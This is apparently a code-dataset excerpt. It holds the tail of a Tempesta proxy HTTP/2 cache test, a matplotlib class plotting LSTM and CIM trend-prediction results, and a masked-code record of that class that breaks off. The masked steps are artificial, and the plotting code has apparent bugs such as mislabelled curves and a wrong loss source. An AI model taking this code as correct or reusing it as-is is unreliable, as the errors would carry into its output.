${server_ip}:8000;\n }\n vhost v_good {\n proxy_pass default;\n }\n tls_certificate ${tempesta_workdir}/tempesta.crt;\n tls_certificate_key ${tempesta_workdir}/tempesta.key;\n tls_match_any_server_name;\n cache 1;\n cache_fulfill * *;\n cache_methods GET;\n block_action attack reply;\n block_action error reply;\n http_chain {\n host == \"bad.com\" -> block;\n host == \"example.com\" -> v_good;\n }\n \"\"\"\n }\n\n def test_headers_frame_for_local_resp_cache_304_short(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(\n client, server, self._test_headers_frame_for_local_resp_cache_304_short, DEFAULT_MTU\n )\n self.run_test_tso_gro_gso_enabled(\n client, server, self._test_headers_frame_for_local_resp_cache_304_short, DEFAULT_MTU\n )\n\n def test_headers_frame_for_local_resp_cache_200_short(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(\n client, server, self._test_headers_frame_for_local_resp_cache_200_short, DEFAULT_MTU\n )\n self.run_test_tso_gro_gso_enabled(\n client, server, self._test_headers_frame_for_local_resp_cache_200_short, DEFAULT_MTU\n )\n\n def test_headers_frame_for_local_resp_cache_304_long(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(\n client, server, self._test_headers_frame_for_local_resp_cache_304_long, DEFAULT_MTU\n )\n self.run_test_tso_gro_gso_enabled(\n client, server, self._test_headers_frame_for_local_resp_cache_304_long, DEFAULT_MTU\n )\n\n def test_headers_frame_for_local_resp_cache_200_long(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(\n client, server, self._test_headers_frame_for_local_resp_cache_200_long, DEFAULT_MTU\n )\n self.run_test_tso_gro_gso_enabled(\n client, server, self._test_headers_frame_for_local_resp_cache_200_long, DEFAULT_MTU\n )\n\n def _test_headers_frame_for_local_resp_cache_304_short(self, client, server):\n self._test_headers_frame_for_local_resp_cache(\n client, server, 1000, 0, \"Mon, 12 Dec 2024 13:59:39 GMT\", \"304\"\n )\n\n def _test_headers_frame_for_local_resp_cache_200_short(self, client, server):\n self._test_headers_frame_for_local_resp_cache(\n client, server, 1000, 0, \"Mon, 12 Dec 2020 13:59:39 GMT\", \"200\"\n )\n\n def _test_headers_frame_for_local_resp_cache_304_long(self, client, server):\n self._test_headers_frame_for_local_resp_cache(\n client, server, 50000, 100000, \"Mon, 12 Dec 2024 13:59:39 GMT\", \"304\"\n )\n\n def _test_headers_frame_for_local_resp_cache_200_long(self, client, server):\n self._test_headers_frame_for_local_resp_cache(\n client, server, 50000, 100000, \"Mon, 12 Dec 2020 13:59:39 GMT\", \"200\"\n )\n\n def _test_headers_frame_for_local_resp_cache(\n self, client, server, header_len, body_len, date, status_code\n ):\n header = (\"qwerty\", \"x\" * header_len)\n server.set_response(\n \"HTTP/1.1 200 OK\\r\\n\" + \"Date: test\\r\\n\" + \"Server: debian\\r\\n\"\n f\"{header[0]}: {header[1]}\\r\\n\"\n + f\"Content-Length: {body_len}\\r\\n\\r\\n\"\n + (\"x\" * body_len)\n )\n\n headers = [\n HeaderTuple(\":authority\", \"example.com\"),\n HeaderTuple(\":path\", \"/\"),\n HeaderTuple(\":scheme\", \"https\"),\n HeaderTuple(\":method\", \"GET\"),\n ]\n\n client.send_request(request=headers, expected_status_code=\"200\")\n\n headers.append(HeaderTuple(\"if-modified-since\", date))\n client.send_request(request=headers, expected_status_code=status_code)\n", "step-ids": [ 27, 33, 37, 46, 48 ] }
[ 27, 33, 37, 46, 48 ]
import os from matplotlib import pyplot as plt from matplotlib import colors import numpy as np class figure: def __init__(self, dire, dpi, span, data, CIM, learn_loss=None, eval_loss=None, different_dir_app=True, reference_steps=0, reveal_trend=1): self.dire = self.new_num_directory(dire) self.app_dire = [self.make_num_directory("app", i) for i in range(data.app_num)] self.trend_dire = [self.make_num_directory("trend", i) for i in range(len(data.trend_rule.w))] self.dpi = dpi self.span = span self.app = data.apps self.trend_rule = data.trend_rule self.prediction = CIM.prediction self.prediction_e = CIM.prediction_est_rule self.prediction_only_ci = CIM.prediction_only_ci self.predfail_app_num = CIM.predfail_app_num self.cap_rule_num = CIM.cap_rule_num self.add_rule_num = CIM.add_rule_num self.lost_rule_num = CIM.lost_rule_num self.useless_rule_num = CIM.useless_rule_num self.merge_rule_num = CIM.merge_rule_num self.learn_loss = learn_loss self.eval_loss = eval_loss self.diff_dir = different_dir_app self.reference_steps = reference_steps self.reveal_trend = reveal_trend def new_num_directory(self, path): n = 1 while True: if not os.path.exists(path + "_" + str(n)): os.mkdir(path + "_" + str(n)) break else: n += 1 return path + "_" + str(n) + "/" def make_num_directory(self, name, num): os.mkdir(self.dire + "/" + name + "_" + str(num)) return self.dire + "/" + name + "_" + str(num) + "/" def find_min_max(self, data_list, length, standarize_zero=True): if standarize_zero: min = 0 max = 0 else: min = data_list[0][0] max = data_list[0][0] for data in data_list: for j in range(length): if j < len(data): if data[j] < min: min = data[j] if data[j] > max: max = data[j] return min, max def savefig_result(self, name): x = list(range(self.span)) if self.diff_dir: # トレンドルールごとの色(chosenRuleより) if len(self.trend_rule.w) <= 10: cycle_tr = plt.rcParams['axes.prop_cycle'].by_key()['color'] elif len(self.trend_rule.w) <= 20: cycle_tr = plt.cm.get_cmap('tab20').colors else: cycle_tr = list(colors.XKCD_COLORS.items())[:100] for i, app in enumerate(self.app): min, max = self.find_min_max([self.prediction[i], self.prediction_e[i]], self.span) plt.figure(figsize=(len(x) / 10, 5.5)) # (chosenRuleより) for j in range(len(self.trend_rule.w)): plt.fill_between([j - 0.5, j + 0.5], [max * 1.1 + 0.1, max * 1.1 + 0.1], [min * 1.1 - 0.1, min * 1.1 - 0.1], facecolor=cycle_tr[j], alpha=0.2, label="Chosenrule:" + str(j)) for j in range(self.span): plt.fill_between([j - 0.5, j + 0.5], [max*1.1+0.1, max*1.1+0.1], [min*1.1-0.1, min*1.1-0.1], facecolor=cycle_tr[self.app[i].trend_idx[j]], alpha=0.2) plt.plot(x, app.trend, label="trend", linestyle="dotted", color="black") plt.plot(x[self.reference_steps:], self.prediction[i], label="LSTM pred", linestyle="dotted", color="blue") plt.plot(x[self.reference_steps + self.reveal_trend:], self.prediction_e[i], label="CIM pred", color="orange") if self.learn_loss is not None: plt.scatter(x[self.reference_steps + self.reveal_trend:], self.learn_loss[i], alpha=0.3, label="learn loss") if self.eval_loss is not None: plt.scatter(x[self.reference_steps + self.reveal_trend:], self.eval_loss[i], alpha=0.3, marker="X", label="eval loss") plt.xlabel('season') plt.ylabel('trend value') plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left') plt.subplots_adjust(right=0.8) plt.savefig(self.app_dire[i] + name + ".png", dpi=self.dpi) plt.clf() else: plt.figure(figsize=(len(x)/10, 5.5)) # アプリごとの色 if len(self.app) <= 10: cycle_app = plt.rcParams['axes.prop_cycle'].by_key()['color'] elif len(self.app) <= 20: cycle_app = plt.cm.get_cmap('tab20').colors else: cycle_app = list(colors.XKCD_COLORS.items())[:100] for i, app in enumerate(self.app): plt.plot(x, self.app[i].trend, color=cycle_app[i], label="trend (app:" + str(i) + ")", linestyle="dotted") plt.plot(x[self.reference_steps:], self.prediction[i], color=cycle_app[i], label="pred (app:" + str(i) + ")") if self.learn_loss is not None: plt.scatter(x[self.reference_steps + self.reveal_trend:], self.learn_loss[i], color=cycle_app[i], alpha=0.3, label="learn loss (app:" + str(i) + ")") if self.eval_loss is not None: plt.scatter(x[self.reference_steps + self.reveal_trend:], self.eval_loss[i], color=cycle_app[i], alpha=0.3, marker="X", label="evalu loss (app:" + str(i) + ")") plt.xlabel('season') plt.ylabel('trend value') plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left') plt.subplots_adjust(right=0.8) plt.savefig(self.dire + name + ".png", dpi=self.dpi) plt.clf() return def savefig_ruleweight(self, name): x = list(range(self.span)) if self.diff_dir: # 特徴ごとの色 if len(self.trend_rule.w[0]["value"]) <= 10: cycle_ft = plt.rcParams['axes.prop_cycle'].by_key()['color'] elif len(self.trend_rule.w[0]["value"]) <= 20: cycle_ft = plt.cm.get_cmap('tab20').colors else: cycle_ft = list(colors.XKCD_COLORS.items())[:100] for i in range(len(self.trend_rule.w)): plt.figure(figsize=(len(x) / 10, 5.5)) # 特徴毎に for j in range(len(self.trend_rule.w[i]["value"])): plt.plot(x, self.trend_rule.w[i]["value"][j][:-1], color=cycle_ft[j], label="feature:" + str(j)) plt.xlabel('season') plt.ylabel('weight of trend rule') plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left') plt.subplots_adjust(right=0.8) plt.savefig(self.trend_dire[i] + name + ".png", dpi=self.dpi) plt.clf() else: plt.figure(figsize=(len(x)/10, 5.5)) # トレンドルールごとの色 if len(self.trend_rule.w) <= 10: cycle_tr = plt.rcParams['axes.prop_cycle'].by_key()['color'] elif len(self.trend_rule.w) <= 20: cycle_tr = plt.cm.get_cmap('tab20').colors else: cycle_tr = list(colors.XKCD_COLORS.items())[:100] # 特徴ごとの色 if len(self.trend_rule.w[0]["value"]) <= 10: cycle_ft = plt.rcParams['axes.prop_cycle'].by_key()['color'] elif len(self.trend_rule.w[0]["value"]) <= 20: cycle_ft = plt.cm.get_cmap('tab20').colors else: cycle_ft = list(colors.XKCD_COLORS.items())[:100] width = 0.8 / len(self.trend_rule.w[0]["value"]) #トレンドルール毎に for i in range(len(self.trend_rule.w)): bottom = np.array(- i * 2.0) # 特徴毎に for j in range(len(self.trend_rule.w[i]["value"])): if i == 0: plt.bar(x + np.array([width * float(j)] * len(x)), self.trend_rule.w[i][j][:-1], color=cycle_ft[j], align='edge', bottom=bottom, width=width, label="feature:" + str(j)) else: plt.bar(x + np.array([width * float(j)] * len(x)), self.trend_rule.w[i]["value"][j][:-1], color=cycle_ft[j], align='edge', bottom=bottom, width=width) plt.fill_between(list(range(self.span+1)), [- i * 2.0 + 1] * (len(x)+1), [- (i+1) * 2.0 + 1] * (len(x)+1), facecolor=cycle_tr[i], alpha=0.2, label="trendrule:" + str(i)) plt.xlabel('season') plt.ylabel('weight of trend rule') plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left') plt.subplots_adjust(right=0.8) plt.savefig(self.dire + name + ".png", dpi=self.dpi) plt.clf() return def savefig_chosenrule(self, name): x = list(range(self.span)) if self.diff_dir: pass # savefig_resultに統合 else: plt.figure(figsize=(len(x)/10, 5.5)) # アプリごとの色 if len(self.app) <= 10: cycle_app = plt.rcParams['axes.prop_cycle'].by_key()['color'] elif len(self.app) <= 20: cycle_app = plt.cm.get_cmap('tab20').colors else: cycle_app = list(colors.XKCD_COLORS.items())[:100] # トレンドルールごとの色 if len(self.trend_rule.w) <= 10: cycle_tr = plt.rcParams['axes.prop_cycle'].by_key()['color'] elif len(self.trend_rule.w) <= 20: cycle_tr = plt.cm.get_cmap('tab20').colors else: cycle_tr = list(colors.XKCD_COLORS.items())[:100] # 凡例表示用 for i in range(len(self.trend_rule.w)): plt.scatter(x, np.array([0] * len(x)), color=cycle_tr[i], s=1, marker="D", label="trendrule:" + str(i)) for id in range(len(self.app)): colorArr = [] for i in self.app[id].trend_idx: colorArr.append(cycle_tr[i]) plt.scatter(x, np.array([- id] * len(x)), color=cycle_app[id], s=150, label="app:" + str(id)) plt.scatter(x, np.array([- id] * len(x)), color="w", s=70) plt.scatter(x, np.array([- id] * len(x)), color=colorArr, s=15, marker="D", alpha=0.5) plt.xlabel('シーズン') plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left') plt.subplots_adjust(right=0.8) plt.savefig(self.dire + name + ".png", dpi=self.dpi) plt.clf() return def savefig_compare_prediction(self, name): x = list(range(self.span)) if self.diff_dir: for i in range(len(self.app)): plt.figure(figsize=(len(x) / 10, 5.5)) # *************************(変更してください) plt.plot(x[self.reference_steps + self.reveal_trend:], np.abs(np.array(self.prediction_only_ci[i]) - np.array(self.app[i].trend[self.reference_steps + self.reveal_trend:])), label="only CI loss", linestyle="dotted", color="green") plt.plot(x[self.reference_steps:], np.abs(np.array(self.prediction[i]) - np.array(self.app[i].trend[self.reference_steps:])), label="LSTM loss", linestyle="dotted", color="blue") plt.plot(x[self.reference_steps + self.reveal_trend:], np.abs(np.array(self.prediction_e[i]) - np.array(self.app[i].trend[self.reference_steps + self.reveal_trend:])), label="CIM loss", color="orange") plt.xlabel('season') plt.ylabel('prediction loss') plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left') plt.subplots_adjust(right=0.8) plt.savefig(self.app_dire[i] + name + ".png", dpi=self.dpi) plt.clf() else: plt.figure(figsize=(len(x)/10, 5.5)) # アプリごとの色 if len(self.app) <= 10: cycle_app = plt.rcParams['axes.prop_cycle'].by_key()['color'] elif len(self.app) <= 20: cycle_app = plt.cm.get_cmap('tab20').colors else: cycle_app = list(colors.XKCD_COLORS.items())[:100] for id in range(len(self.app)): plt.plot(x[self.reference_steps:], np.abs(np.array(self.prediction[id]) - np.array(self.app[id].trend[self.reference_steps:])), color=cycle_app[id], label="classify loss (app:" + str(id) + ")", linestyle="dotted") plt.plot(x[self.reference_steps + self.reveal_trend:], np.abs(np.array(self.prediction_e[id]) - np.array(self.app[id].trend[self.reference_steps + self.reveal_trend:])), color=cycle_app[id], label="analyse loss (app:" + str(id) + ")") plt.xlabel('season') plt.ylabel('prediction loss') plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left') plt.subplots_adjust(right=0.8) plt.savefig(self.dire + name + ".png", dpi=self.dpi) plt.clf() return def savefig_compare_prediction_ave(self, name): x = list(range(self.span)) if self.diff_dir: prediction = [] prediction_e = [] prediction_ci = [] # 各アプリに対して平均を算出 for j in range(self.span - self.reference_steps): sum = 0 sum_e = 0 sum_ci = 0 for i in range(len(self.app)): sum += (self.prediction[i][j] - self.app[i].trend[j + self.reference_steps])**2 if j < self.span - self.reference_steps - self.reveal_trend: sum_e += (self.prediction_e[i][j] - self.app[i].trend[j + self.reference_steps + self.reveal_trend])**2 sum_ci += (self.prediction_e[i][j] - self.app[i].trend[j + self.reference_steps + self.reveal_trend])**2 prediction.append(sum / len(self.app)) if j < self.span - self.reference_steps - self.reveal_trend: prediction_e.append(sum_e / len(self.app)) prediction_ci.append(sum_ci / len(self.app)) plt.figure(figsize=(len(x) / 10, 5.5)) plt.xlabel('season') plt.ylabel('prediction loss average') # *************************(変更してください) plt.plot(x[self.reference_steps + self.reveal_trend:], prediction_ci, label="only CI loss", linestyle="dotted") plt.plot(x[self.reference_steps:], prediction, label="LSTM loss", linestyle="dotted") plt.plot(x[self.reference_steps + self.reveal_trend:], prediction_e, label="CIM loss") plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left') plt.subplots_adjust(right=0.8) plt.savefig(self.dire + name + ".png", dpi=self.dpi) plt.clf() def savefig_rule_num(self, name): x = list(range(self.span)) plt.figure(figsize=(len(x)/10, 5.5)) chart_num = 6 width = 0.8 / chart_num plt.plot(x[self.reference_steps + self.reveal_trend:], self.predfail_app_num, label="truth rule number") plt.plot(x[self.reference_steps + self.reveal_trend:], self.predfail_app_num, label="prediction fail app") plt.plot(x[self.reference_steps + self.reveal_trend:], self.cap_rule_num, label="captured rule") plt.plot(x[self.reference_steps + self.reveal_trend:], self.add_rule_num, label="add rule") plt.plot(x[self.reference_steps + self.reveal_trend:], self.lost_rule_num, label="lost rule") plt.plot(x[self.reference_steps + self.reveal_trend:], self.useless_rule_num, label="useless rule") plt.plot(x[self.reference_steps + self.reveal_trend:], self.merge_rule_num, label="merge rule") plt.xlabel('season') plt.ylabel('number') plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left') plt.subplots_adjust(right=0.8) plt.savefig(self.dire + name + ".png", dpi=self.dpi) plt.clf() return def save_config(self, name, cfg): import json setting = dict( APP_NUM = cfg.APP_NUM, SPAN = cfg.SPAN, REVEAL_TREND = cfg.REVEAL_TREND, FIRST_RULE_NUM=cfg.FIRST_RULE_NUM, SHIFT_TREND_RULE = cfg.SHIFT_TREND_RULE, APPEAR_RATE = cfg.APPEAR_RATE, DISAPPEAR_RATE = cfg.DISAPPEAR_RATE, EVALUATE_THRESHOLD_PRED_FAIL = cfg.EVALUATE_THRESHOLD_PRED_FAIL, SAMPLING = cfg.SAMPLING, EVALUATE_THRESHOLD_DELETE_RULE = cfg.EVALUATE_THRESHOLD_DELETE_RULE, EVALUATE_THRESHOLD_ADD_RULE = cfg.EVALUATE_THRESHOLD_ADD_RULE, EVALUATE_THRESHOLD_MERGE_RULE = cfg.EVALUATE_THRESHOLD_MERGE_RULE, THRESHOLD_APPNUM = cfg.THRESHOLD_APPNUM, TRY_NEWRULE_NUM = cfg.TRY_NEWRULE_NUM, LSTM_REFERENCE_STEPS = cfg.LSTM_REFERENCE_STEPS, LSTM_EPOCHS = cfg.LSTM_EPOCHS, NN_EPOCHS = cfg.NN_EPOCHS, DATATYPE = [dict( name = feat["name"], type = str(type(feat["data"])) ) for feat in cfg.DATATYPE], FIRST_BIN = cfg.FIRST_BIN ) fw = open(self.dire + name + '.json', 'w') json.dump(setting, fw, indent=4) return
normal
{ "blob_id": "dce6ef64cf1a758ed25e11f626ce31206d18f960", "index": 8645, "step-1": "<mask token>\n\n\nclass figure:\n <mask token>\n\n def new_num_directory(self, path):\n n = 1\n while True:\n if not os.path.exists(path + '_' + str(n)):\n os.mkdir(path + '_' + str(n))\n break\n else:\n n += 1\n return path + '_' + str(n) + '/'\n\n def make_num_directory(self, name, num):\n os.mkdir(self.dire + '/' + name + '_' + str(num))\n return self.dire + '/' + name + '_' + str(num) + '/'\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def savefig_rule_num(self, name):\n x = list(range(self.span))\n plt.figure(figsize=(len(x) / 10, 5.5))\n chart_num = 6\n width = 0.8 / chart_num\n plt.plot(x[self.reference_steps + self.reveal_trend:], self.\n predfail_app_num, label='truth rule number')\n plt.plot(x[self.reference_steps + self.reveal_trend:], self.\n predfail_app_num, label='prediction fail app')\n plt.plot(x[self.reference_steps + self.reveal_trend:], self.\n cap_rule_num, label='captured rule')\n plt.plot(x[self.reference_steps + self.reveal_trend:], self.\n add_rule_num, label='add rule')\n plt.plot(x[self.reference_steps + self.reveal_trend:], self.\n lost_rule_num, label='lost rule')\n plt.plot(x[self.reference_steps + self.reveal_trend:], self.\n useless_rule_num, label='useless rule')\n plt.plot(x[self.reference_steps + self.reveal_trend:], self.\n merge_rule_num, label='merge rule')\n plt.xlabel('season')\n plt.ylabel('number')\n plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left')\n plt.subplots_adjust(right=0.8)\n plt.savefig(self.dire + name + '.png', dpi=self.dpi)\n plt.clf()\n return\n <mask token>\n", "step-2": "<mask token>\n\n\nclass figure:\n\n def __init__(self, dire, dpi, span, data, CIM, learn_loss=None,\n eval_loss=None, different_dir_app=True, reference_steps=0,\n reveal_trend=1):\n self.dire = self.new_num_directory(dire)\n self.app_dire = [self.make_num_directory('app', i) for i in range(\n data.app_num)]\n self.trend_dire = [self.make_num_directory('trend', i) for i in\n range(len(data.trend_rule.w))]\n self.dpi = dpi\n self.span = span\n self.app = data.apps\n self.trend_rule = data.trend_rule\n self.prediction = CIM.prediction\n self.prediction_e = CIM.prediction_est_rule\n self.prediction_only_ci = CIM.prediction_only_ci\n self.predfail_app_num = CIM.predfail_app_num\n self.cap_rule_num = CIM.cap_rule_num\n self.add_rule_num = CIM.add_rule_num\n self.lost_rule_num = CIM.lost_rule_num\n self.useless_rule_num = CIM.useless_rule_num\n self.merge_rule_num = CIM.merge_rule_num\n self.learn_loss = learn_loss\n self.eval_loss = eval_loss\n self.diff_dir = different_dir_app\n self.reference_steps = reference_steps\n self.reveal_trend = reveal_trend\n\n def new_num_directory(self, path):\n n = 1\n while True:\n if not os.path.exists(path + '_' + str(n)):\n os.mkdir(path + '_' + str(n))\n break\n else:\n n += 1\n return path + '_' + str(n) + '/'\n\n def make_num_directory(self, name, num):\n os.mkdir(self.dire + '/' + name + '_' + str(num))\n return self.dire + '/' + name + '_' + str(num) + '/'\n\n def find_min_max(self, data_list, length, standarize_zero=True):\n if standarize_zero:\n min = 0\n max = 0\n else:\n min = data_list[0][0]\n max = data_list[0][0]\n for data in data_list:\n for j in range(length):\n if j < len(data):\n if data[j] < min:\n min = data[j]\n if data[j] > max:\n max = data[j]\n return min, max\n\n def savefig_result(self, name):\n x = list(range(self.span))\n if self.diff_dir:\n if len(self.trend_rule.w) <= 10:\n cycle_tr = plt.rcParams['axes.prop_cycle'].by_key()['color']\n elif len(self.trend_rule.w) <= 20:\n cycle_tr = plt.cm.get_cmap('tab20').colors\n else:\n cycle_tr = list(colors.XKCD_COLORS.items())[:100]\n for i, app in enumerate(self.app):\n min, max = self.find_min_max([self.prediction[i], self.\n prediction_e[i]], self.span)\n plt.figure(figsize=(len(x) / 10, 5.5))\n for j in range(len(self.trend_rule.w)):\n plt.fill_between([j - 0.5, j + 0.5], [max * 1.1 + 0.1, \n max * 1.1 + 0.1], [min * 1.1 - 0.1, min * 1.1 - 0.1\n ], facecolor=cycle_tr[j], alpha=0.2, label=\n 'Chosenrule:' + str(j))\n for j in range(self.span):\n plt.fill_between([j - 0.5, j + 0.5], [max * 1.1 + 0.1, \n max * 1.1 + 0.1], [min * 1.1 - 0.1, min * 1.1 - 0.1\n ], facecolor=cycle_tr[self.app[i].trend_idx[j]],\n alpha=0.2)\n plt.plot(x, app.trend, label='trend', linestyle='dotted',\n color='black')\n plt.plot(x[self.reference_steps:], self.prediction[i],\n label='LSTM pred', linestyle='dotted', color='blue')\n plt.plot(x[self.reference_steps + self.reveal_trend:], self\n .prediction_e[i], label='CIM pred', color='orange')\n if self.learn_loss is not None:\n plt.scatter(x[self.reference_steps + self.reveal_trend:\n ], self.learn_loss[i], alpha=0.3, label='learn loss')\n if self.eval_loss is not None:\n plt.scatter(x[self.reference_steps + self.reveal_trend:\n ], self.eval_loss[i], alpha=0.3, marker='X', label=\n 'eval loss')\n plt.xlabel('season')\n plt.ylabel('trend value')\n plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left')\n plt.subplots_adjust(right=0.8)\n plt.savefig(self.app_dire[i] + name + '.png', dpi=self.dpi)\n plt.clf()\n else:\n plt.figure(figsize=(len(x) / 10, 5.5))\n if len(self.app) <= 10:\n cycle_app = plt.rcParams['axes.prop_cycle'].by_key()['color']\n elif len(self.app) <= 20:\n cycle_app = plt.cm.get_cmap('tab20').colors\n else:\n cycle_app = list(colors.XKCD_COLORS.items())[:100]\n for i, app in enumerate(self.app):\n plt.plot(x, self.app[i].trend, color=cycle_app[i], label=\n 'trend (app:' + str(i) + ')', linestyle='dotted')\n plt.plot(x[self.reference_steps:], self.prediction[i],\n color=cycle_app[i], label='pred (app:' + str(i) + ')')\n if self.learn_loss is not None:\n plt.scatter(x[self.reference_steps + self.reveal_trend:\n ], self.learn_loss[i], color=cycle_app[i], alpha=\n 0.3, label='learn loss (app:' + str(i) + ')')\n if self.eval_loss is not None:\n plt.scatter(x[self.reference_steps + self.reveal_trend:\n ], self.eval_loss[i], color=cycle_app[i], alpha=0.3,\n marker='X', label='evalu loss (app:' + str(i) + ')')\n plt.xlabel('season')\n plt.ylabel('trend value')\n plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left')\n plt.subplots_adjust(right=0.8)\n plt.savefig(self.dire + name + '.png', dpi=self.dpi)\n plt.clf()\n return\n\n def savefig_ruleweight(self, name):\n x = list(range(self.span))\n if self.diff_dir:\n if len(self.trend_rule.w[0]['value']) <= 10:\n cycle_ft = plt.rcParams['axes.prop_cycle'].by_key()['color']\n elif len(self.trend_rule.w[0]['value']) <= 20:\n cycle_ft = plt.cm.get_cmap('tab20').colors\n else:\n cycle_ft = list(colors.XKCD_COLORS.items())[:100]\n for i in range(len(self.trend_rule.w)):\n plt.figure(figsize=(len(x) / 10, 5.5))\n for j in range(len(self.trend_rule.w[i]['value'])):\n plt.plot(x, self.trend_rule.w[i]['value'][j][:-1],\n color=cycle_ft[j], label='feature:' + str(j))\n plt.xlabel('season')\n plt.ylabel('weight of trend rule')\n plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left')\n plt.subplots_adjust(right=0.8)\n plt.savefig(self.trend_dire[i] + name + '.png', dpi=self.dpi)\n plt.clf()\n else:\n plt.figure(figsize=(len(x) / 10, 5.5))\n if len(self.trend_rule.w) <= 10:\n cycle_tr = plt.rcParams['axes.prop_cycle'].by_key()['color']\n elif len(self.trend_rule.w) <= 20:\n cycle_tr = plt.cm.get_cmap('tab20').colors\n else:\n cycle_tr = list(colors.XKCD_COLORS.items())[:100]\n if len(self.trend_rule.w[0]['value']) <= 10:\n cycle_ft = plt.rcParams['axes.prop_cycle'].by_key()['color']\n elif len(self.trend_rule.w[0]['value']) <= 20:\n cycle_ft = plt.cm.get_cmap('tab20').colors\n else:\n cycle_ft = list(colors.XKCD_COLORS.items())[:100]\n width = 0.8 / len(self.trend_rule.w[0]['value'])\n for i in range(len(self.trend_rule.w)):\n bottom = np.array(-i * 2.0)\n for j in range(len(self.trend_rule.w[i]['value'])):\n if i == 0:\n plt.bar(x + np.array([width * float(j)] * len(x)),\n self.trend_rule.w[i][j][:-1], color=cycle_ft[j],\n align='edge', bottom=bottom, width=width, label\n ='feature:' + str(j))\n else:\n plt.bar(x + np.array([width * float(j)] * len(x)),\n self.trend_rule.w[i]['value'][j][:-1], color=\n cycle_ft[j], align='edge', bottom=bottom, width\n =width)\n plt.fill_between(list(range(self.span + 1)), [-i * 2.0 + 1] *\n (len(x) + 1), [-(i + 1) * 2.0 + 1] * (len(x) + 1),\n facecolor=cycle_tr[i], alpha=0.2, label='trendrule:' +\n str(i))\n plt.xlabel('season')\n plt.ylabel('weight of trend rule')\n plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left')\n plt.subplots_adjust(right=0.8)\n plt.savefig(self.dire + name + '.png', dpi=self.dpi)\n plt.clf()\n return\n\n def savefig_chosenrule(self, name):\n x = list(range(self.span))\n if self.diff_dir:\n pass\n else:\n plt.figure(figsize=(len(x) / 10, 5.5))\n if len(self.app) <= 10:\n cycle_app = plt.rcParams['axes.prop_cycle'].by_key()['color']\n elif len(self.app) <= 20:\n cycle_app = plt.cm.get_cmap('tab20').colors\n else:\n cycle_app = list(colors.XKCD_COLORS.items())[:100]\n if len(self.trend_rule.w) <= 10:\n cycle_tr = plt.rcParams['axes.prop_cycle'].by_key()['color']\n elif len(self.trend_rule.w) <= 20:\n cycle_tr = plt.cm.get_cmap('tab20').colors\n else:\n cycle_tr = list(colors.XKCD_COLORS.items())[:100]\n for i in range(len(self.trend_rule.w)):\n plt.scatter(x, np.array([0] * len(x)), color=cycle_tr[i], s\n =1, marker='D', label='trendrule:' + str(i))\n for id in range(len(self.app)):\n colorArr = []\n for i in self.app[id].trend_idx:\n colorArr.append(cycle_tr[i])\n plt.scatter(x, np.array([-id] * len(x)), color=cycle_app[id\n ], s=150, label='app:' + str(id))\n plt.scatter(x, np.array([-id] * len(x)), color='w', s=70)\n plt.scatter(x, np.array([-id] * len(x)), color=colorArr, s=\n 15, marker='D', alpha=0.5)\n plt.xlabel('シーズン')\n plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left')\n plt.subplots_adjust(right=0.8)\n plt.savefig(self.dire + name + '.png', dpi=self.dpi)\n plt.clf()\n return\n <mask token>\n\n def savefig_compare_prediction_ave(self, name):\n x = list(range(self.span))\n if self.diff_dir:\n prediction = []\n prediction_e = []\n prediction_ci = []\n for j in range(self.span - self.reference_steps):\n sum = 0\n sum_e = 0\n sum_ci = 0\n for i in range(len(self.app)):\n sum += (self.prediction[i][j] - self.app[i].trend[j +\n self.reference_steps]) ** 2\n if (j < self.span - self.reference_steps - self.\n reveal_trend):\n sum_e += (self.prediction_e[i][j] - self.app[i].\n trend[j + self.reference_steps + self.reveal_trend]\n ) ** 2\n sum_ci += (self.prediction_e[i][j] - self.app[i].\n trend[j + self.reference_steps + self.reveal_trend]\n ) ** 2\n prediction.append(sum / len(self.app))\n if j < self.span - self.reference_steps - self.reveal_trend:\n prediction_e.append(sum_e / len(self.app))\n prediction_ci.append(sum_ci / len(self.app))\n plt.figure(figsize=(len(x) / 10, 5.5))\n plt.xlabel('season')\n plt.ylabel('prediction loss average')\n plt.plot(x[self.reference_steps + self.reveal_trend:],\n prediction_ci, label='only CI loss', linestyle='dotted')\n plt.plot(x[self.reference_steps:], prediction, label=\n 'LSTM loss', linestyle='dotted')\n plt.plot(x[self.reference_steps + self.reveal_trend:],\n prediction_e, label='CIM loss')\n plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left')\n plt.subplots_adjust(right=0.8)\n plt.savefig(self.dire + name + '.png', dpi=self.dpi)\n plt.clf()\n\n def savefig_rule_num(self, name):\n x = list(range(self.span))\n plt.figure(figsize=(len(x) / 10, 5.5))\n chart_num = 6\n width = 0.8 / chart_num\n plt.plot(x[self.reference_steps + self.reveal_trend:], self.\n predfail_app_num, label='truth rule number')\n plt.plot(x[self.reference_steps + self.reveal_trend:], self.\n predfail_app_num, label='prediction fail app')\n plt.plot(x[self.reference_steps + self.reveal_trend:], self.\n cap_rule_num, label='captured rule')\n plt.plot(x[self.reference_steps + self.reveal_trend:], self.\n add_rule_num, label='add rule')\n plt.plot(x[self.reference_steps + self.reveal_trend:], self.\n lost_rule_num, label='lost rule')\n plt.plot(x[self.reference_steps + self.reveal_trend:], self.\n useless_rule_num, label='useless rule')\n plt.plot(x[self.reference_steps + self.reveal_trend:], self.\n merge_rule_num, label='merge rule')\n plt.xlabel('season')\n plt.ylabel('number')\n plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left')\n plt.subplots_adjust(right=0.8)\n plt.savefig(self.dire + name + '.png', dpi=self.dpi)\n plt.clf()\n return\n\n def save_config(self, name, cfg):\n import json\n 